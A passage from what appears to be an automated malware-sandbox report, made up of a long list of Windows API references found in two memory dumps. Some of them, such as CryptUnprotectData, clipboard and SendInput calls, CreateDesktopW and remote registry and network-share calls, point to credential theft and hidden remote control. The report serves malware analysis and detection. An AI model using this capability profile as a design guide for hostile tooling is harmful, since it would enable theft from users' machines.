"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CertDuplicateCertificateChain"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CertFreeCertificateChain"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CertDuplicateCertificateContext"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CertEnumCertificatesInStore"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CertDuplicateStore"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CertAddCertificateContextToStore"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CertGetCertificateChain"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CryptUnprotectData"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CryptProtectData"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CryptStringToBinaryA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CertCreateCertificateContext"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CertOpenStore"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "TerminateJobObject"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "PostQueuedCompletionStatus"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateWaitableTimerExW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetWaitableTimer"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "MoveFileExW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "Process32NextW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "Process32FirstW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "ProcessIdToSessionId"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetProcessId"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetLogicalDrives"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "QueryFullProcessImageNameW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateJobObjectW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetInformationJobObject"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "AssignProcessToJobObject"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreatePipe"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetHandleInformation"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "InitializeProcThreadAttributeList"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "UpdateProcThreadAttribute"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "DeleteProcThreadAttributeList"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GlobalSize"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CompareStringOrdinal"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformationForYear"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "AddVectoredExceptionHandler"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetThreadStackGuarantee"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetQueuedCompletionStatusEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetOverlappedResult"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateIoCompletionPort"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetFileCompletionNotificationModes"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CancelIoEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "WriteFileEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SleepEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "ReadFileEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetFileInformationByHandle"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CopyFileExW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "ConvertSidToStringSidW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetThreadDesktop"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CloseDesktop"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetForegroundWindow"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetWindowThreadProcessId"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "EnumDesktopWindows"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "AttachThreadInput"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetThreadDesktop"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "BringWindowToTop"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetActiveWindow"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetFocus"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "ScreenToClient"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetWindowTextLengthW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetWindowTextW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SendInput"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetKeyboardState"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "OpenClipboard"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateDesktopW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetClipboardData"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CloseClipboard"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "OpenInputDesktop"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "EmptyClipboard"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetClipboardData"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "WTSSendMessageW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "WTSRegisterSessionNotification"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "WTSUnRegisterSessionNotification"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateCompatibleDC"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "DeleteDC"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetStretchBltMode"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "StretchBlt"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "DeleteSecurityContext"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "closesocket"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FreeContextBuffer"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "AcceptSecurityContext"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "InitializeSecurityContextW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "QueryContextAttributesW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "DecryptMessage"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "EncryptMessage"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "ioctlsocket"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "getsockopt"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "WSAGetLastError"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "getpeername"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "getsockname"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "NtDeviceIoControlFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "NtCreateFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "ApplyControlToken"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "WSAIoctl"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "AcquireCredentialsHandleA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FreeCredentialsHandle"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "NtWriteFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "WSACleanup"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "NtReadFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "NtOpenFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "WSASend"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "NtCreateNamedPipeFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "RtlPcToFileHeader"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "ExitThread"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FreeLibraryAndExitThread"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "RegConnectRegistryW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "WNetCancelConnection2W"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "WNetAddConnection2W"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCtrlHandler"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "CreateWellKnownSid"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "FillConsoleOutputCharacterW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "FillConsoleOutputAttribute"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCursorPosition"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "CreateConsoleScreenBuffer"; Source: 